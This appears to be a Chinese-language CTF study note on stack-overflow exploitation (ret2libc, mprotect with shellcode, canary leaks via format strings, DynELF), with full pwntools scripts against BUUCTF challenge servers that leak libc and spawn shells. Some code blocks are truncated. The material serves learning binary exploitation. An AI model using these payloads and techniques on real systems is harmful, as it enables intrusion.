栈溢出
ret2libc,fmtstr
# 一。基础知识补充
-
指令指针寄存器,是存放下次将要执行的指令在代码段的偏移量,RIP、EIP、IP (Instruction Pointer) 分别为 64 位、32 位、16 位指令指针寄存器
-
以 64 位程序为例:
在执行 call 指令的时候,会向栈中压入 call 指令完成后下一条指令的地址,之后跳转到被调用的函数开始执行
push rbp ; 将父函数栈底压入栈中
mov rbp, rsp ; 将父函数栈顶变为子函数栈底
sub rsp, 0x70 ; 向低地址处为子函数开辟栈帧在函数调用结束的时候,程序会执行这两条指令
leave 指令相当于执行了如下两条指令
mov esp ebp
pop ebpret 指令则可以理解为将栈中的返回地址 pop 给 rip 的操作,从而回到父函数继续执行
# 二. ret2text
栈溢出函数:strcpy
程序本身存在 fflush 函数,我们可以直接用它的 sh 来当作 system 的参数
# 三. ret2libc
# 泄露 libc 利用思路:
- 利用 write 函数来泄露程序的 libc 版本
- 知道 libc 版本后去计算程序里的 system 函数和字符串 “/bin/sh” 的地址
- 覆盖返回地址为 system(‘/bin/sh’),获取 shell
# 例题:2018_rop
1:
1 | payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4) |
首先填充‘a’*(0x88+4)造成溢出,覆盖到返回地址,返回地址填上 write 函数的 plt 地址来调用 write 函数,之后跟上 main 函数地址(我们要将程序程序重新执行一遍,再次利用输入点来进构造 rop)
p32(0)+p32 (write_addr)+p32 (4) 是在设置 write 函数的参数,对应函数原型看一下,32 位程序是 4 位,所以这边写的 4,对应的 64 位程序是 8 位。
2:
1 | offset=write_addr-libc.dump('write') #计算偏移量 |
3:
构造 rop 获取 shell
1 | payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh) |
完整 exp:
1 | from pwn import * |
但是我在这么写的时候出现了 timeout: the monitored command dumped core
, 尝试泄露 read 函数的真实地址,再调用 read 函数来找到偏移。(后来找到问题有:payload 的顺序错误也会导致 timeout 和找不到 libc,timeout 对应 payload: 填充 + got 表 + plt 表 + main,找不到 libc 对应 payload: 填充 + pop_rdi_ret+binsh_system, 对应 64 位栈溢出,32 位和 64 位不同)
64 位查找 pop_rdi:
1 | ROPgadget --binary bjdctf_2020_babyrop |grep "pop rdi" |
exp:
1 | from pwn import * |
LibcSearcher 使用方法:将 exp 放在 libcsearcher 的安装目录下
1 | # coding:utf-8 |
plt 表 -》got 表
# 四。利用 mprotect 修改内存权限
mprotect 函数,可以用它来修改我们,内存栈的权限,让它可读可写可执行,进而修改内存权限。
# ROPgadget 使用
例题:not_the_same_3dsctf_2016
利用 mprotect
函数修改 bss 段为 0x7
即 0b111
,可读可写可执行权限,然后利用 read 函数读入 shellcode,最后跳转到 shellcode 的位置
1 | ROPgadget --binary not_the_same_3dsctf_2016--only "pop|ret"|grep pop |
需要利用 ret 指令控制程序,所以这里需要借助用来设置三个参数的三个寄存器命令,p3_ret=0x806fcc8
ctrl+s 调出程序的段表,将.got.plt 段改为可读可写可执行,addr=0x80eb000
将返回地址填写成 read 函数,设置 read 函数的参数,之后将返回地址改为我们修改为可读可写可执行的地址,最后读入 shellcode
1 | # mprotect函数的利用,将目标地址:.got.plt或.bss段 修改为可读可写可执行 |
完整 exp:
1 | #coding:utf-8 |
# 五. 32 位,64 位栈溢出对比
32 位的函数在调用栈的时候是:
调用函数地址(父函数的栈底地址)->函数的返回地址->参数n->参数n-1....->参数1
由于在函数调用前通过 push 指令向栈中压入了数据,使得栈顶朝低地址偏移了所以在函数调用结束以后,要有恢复栈顶的过程:将通过 add esp 0x10 这条指令,即增加 esp 来恢复函数调用前的 esp。
64 位的函数在调用栈的时候是:
前六个参数按照约定存储在寄存器:rdi,rsi,rdx,rcx,r8,r9中。
参数超过六个的时候,第七个会压入栈中,并且先输入函数的返回地址,然后是函数的参数,之后才是函数的调用地址
# 六。覆盖相关变量
-
ebp
-
ret_addr
-
虚函数指针
子类对父类的继承
能够对函数进行重写
由虚函数表来进行操作 -
SEH 链
SEH 结构 结构 在栈中存在的 地方 ,在 在 ret_addr 和栈中数据之间 和栈中数据之间,这就导致了对于栈的安全防护 手段 , 难以防护针对 防护针对 SEH 链的攻击
-
Hook 中的变量
利用方法介绍
有些系统函数有预先定义好的钩子
修改钩子链表中存储的子程序指针
影响钩子运行 -
fgets 的用法的时候,发现它能够避免造成溢出
-
程序自带的 system 函数地址
-
timeout: the monitored command dumped core 解决
1) 在 payload 后面加几个 ret 地址,或者加一个假的 0xdeadbeef
1
p = flat(['a'*0x10, 'b'*8, pop_di, bin_sh_addr, system, 0xdeadbeef])
2) 直接用系统函数的地址
# 七. BUUCTF 例题
# 1. JarvisOJ level4
# 知识点
参考文章:借助 DynELF 实现无 libc 的漏洞利用小结
pwntools 中 DynELF 函数使用 (针对未给出 libc 文件)
1
2
3
4
5
6
7
8
9def leak(address):
payload=pad+p32(writeplt)+ret1+p32(1)+p32(address)+p32(4)
io.sendline(payload)
leak_sysaddr=io.recv(4)
#print "%#x => %s" % (address, (leak_sysaddr or '').encode('hex')) 这里是测试用,可省略。
return leak_sysaddr
d = DynELF(leak, elf=ELF("对应文件"))
sysaddr=d.lookup("system","libc")pad 为填充,ret1 为有效的返回地址
# WP
开了 NX 保护(堆栈不可执行)
利用 DynELF 泄露 system 地址,通过 read 函数写入 /bin/sh 到 bss 段
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24from pwn import *
conn=process('./level4')
e=ELF('./level4')
pad=0x88
write_plt=e.plt['write']
vul_addr=0x804844b
bss_addr=0x0804a024
def leak(address):
payload1='a'*0x8c+p32(write_plt)+p32(vul_addr)+p32(1)+p32(address)+p32(4)
conn.sendline(payload1)
data=conn.recv(4)
return data
d=DynELF(leak,elf=e)
system_addr=d.lookup('system','libc')
print hex(system_addr)
read_plt=e.plt['read']
payload2='a'*0x8c+p32(read_plt)+p32(vul_addr)+p32(0)+p32(bss_addr)+p32(8)
conn.sendline(payload2)
conn.send("/bin/sh")
payload3="a"*0x8c+p32(system_addr)+p32(0xdeadbeef)+p32(bss_addr)
conn.sendline(payload3)
conn.interactive()常规解法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30#coding=utf-8
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "i386", log_level= "debug")
p = remote("node4.buuoj.cn", 25934)
elf = ELF("./level4")
read_got = elf.got["read"]
write_plt = elf.plt["write"]
main_addr = elf.symbols["main"]
payload = "a" * 0x8c + p32(write_plt)
payload += p32(main_addr)
payload += p32(1) + p32(read_got) + p32(4)
p.sendline(payload)
read_addr = u32(p.recvuntil("\xf7")[-4:])
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = "a" * 0x8c + p32(system_addr)
payload += p32(main_addr)
payload += p32(binsh_addr)
p.sendline(payload)
p.interactive()# jarvisoj_level3_x64
64 位 ret2libc(no canary found)
checksec
-
泄露 libc
64 位汇编传参,当参数少于 7 个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为 7 个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和 32 位汇编一样。
我们这边要利用 write 函数去泄露 libc 版本
write 函数的原型,它有三个参数,所以我们这边需要用到三个寄存器去传参1
2
3
4
5
6ssize_t write(int fd,const void*buf,size_t count);
参数说明:
fd:是文件描述符(write所对应的是写,即就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数
利用 ROPgadget 寻找 rdi,rsi 寄存器地址
WP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42from pwn import *
from LibcSearcher import *
r=remote('node4.buuoj.cn',26919)
# r = process('./level3_x64')
context(os = "linux", arch = "amd64", log_level= "debug")
elf=ELF('./level3_x64')
#libc=ELF('./libc-2.19.so')
write_plt=elf.plt['write']
write_got=elf.got['write']
main=0x40061A
rdi=0x4006b3
rsi_r15=0x4006b1
payload='a'*(0x80+8)+p64(rdi)+p64(1) #rdi寄存器设置write函数的第一个参数为‘1’
payload+=p64(rsi_r15)+p64(write_got)+p64(8) #rsi寄存器设置write函数的第二个参数为write_got表的地址,r15寄存器设置write函数的第三个参数为8
payload+=p64(write_plt) #去调用write函数
payload+=p64(main) #控制程序流,回到main函数,继续控制
r.sendlineafter('Input:',payload)
write_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
#write_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(write_addr)
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
payload='a'*(0x80+8)+p64(rdi)+p64(binsh)+p64(system_addr)
r.sendlineafter('Input:',payload)
r.interactive()# bjdctf_2020_babyrop2
程序结构
init()
gift()
vuln()
在 gift 函数处存在格式化字符串漏洞,可以用来泄露 libc
在 vuln 函数处存在 buf 溢出漏洞,绕过 canary 就可以利用 ret2libc 来获取 shell
-
泄露 canary 值
输入
%n$p
来找偏移,n 为偏移量,$p
定位到偏移处,%p
以 16 进制输出
-
找到一个 nop 指令下断点查看栈的情况
-
可以看到 6161 下面有一串 16 进制数,这个就是 canary 值,利用 %7$p 就可以泄露它的值,而且看到它在栈的位置是 0x18
泄露 canary:
1
2
3
4payload = '%7$p'
p.sendline(payload)
p.recvuntil('0x')
canary = int(p.recv(16),16)另外 pwngbd 提供了一种方便的函数 fmtarg,使用格式为 fmtarg addr。在进入 printf 函数时断下,调用 fmtarg 后可以自动计算格式化参数与 addr 的偏移。fmtarg 在计算 index 时将 RDI 也算了进去,后面会自动减一作为 %$p 的参数:
- 利用 puts 函数泄露 libc,puts 函数只有一个参数,64 位传参,利用 rdi 寄存器即可,ROPgadget 找 rdi
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44from pwn import *
from LibcSearcher import *
# p = process('./bjdctf_2020_babyrop2')
p = remote('node4.buuoj.cn',25998)
elf = ELF('./bjdctf_2020_babyrop2')
context.log_level = 'debug'
payload = '%7$p'
p.sendline(payload)
p.recvuntil('0x')
canary = int(p.recv(16),16)
print str(canary)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x400993
main_addr = elf.sym['main']
vul_addr = 0x400887
payload = 'a'*0x18+p64(canary)
payload += p64(0)
payload +=p64(pop_rdi)
payload +=p64(puts_got)
payload +=p64(puts_plt)+p64(vul_addr)
p.recvuntil('story!\n')
p.sendline(payload)
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
libc = LibcSearcher('puts',puts_addr)
base = puts_addr-libc.dump('puts')
sys_addr = base+libc.dump('system')
binsh = base+libc.dump('str_bin_sh')
p.recvuntil('story!\n')
payload ='a'*0x18+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh)+p64(sys_addr)
payload +=p64(main_addr)
p.sendline(payload)
p.interactive() -
printf 泄露真实地址
1 | from pwn import * |
# pwn2_sctf_2016
1 | from pwn import * |
1 |
|
1.BUUOJ PWN EXERCISE(二)
2.CTFSHOW卷王杯-pwn
3.gyctf_2020_force
4.BUUCTF Pwn Exercise(一)
5.xdctf2015_pwn200
6.堆题总结
7.cmcc_simplerop
8.hitcontraining_unlink